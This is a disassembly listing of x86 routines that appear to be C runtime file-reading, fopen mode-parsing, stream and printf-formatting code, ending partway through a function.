		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 26709D6h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 26709D6h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


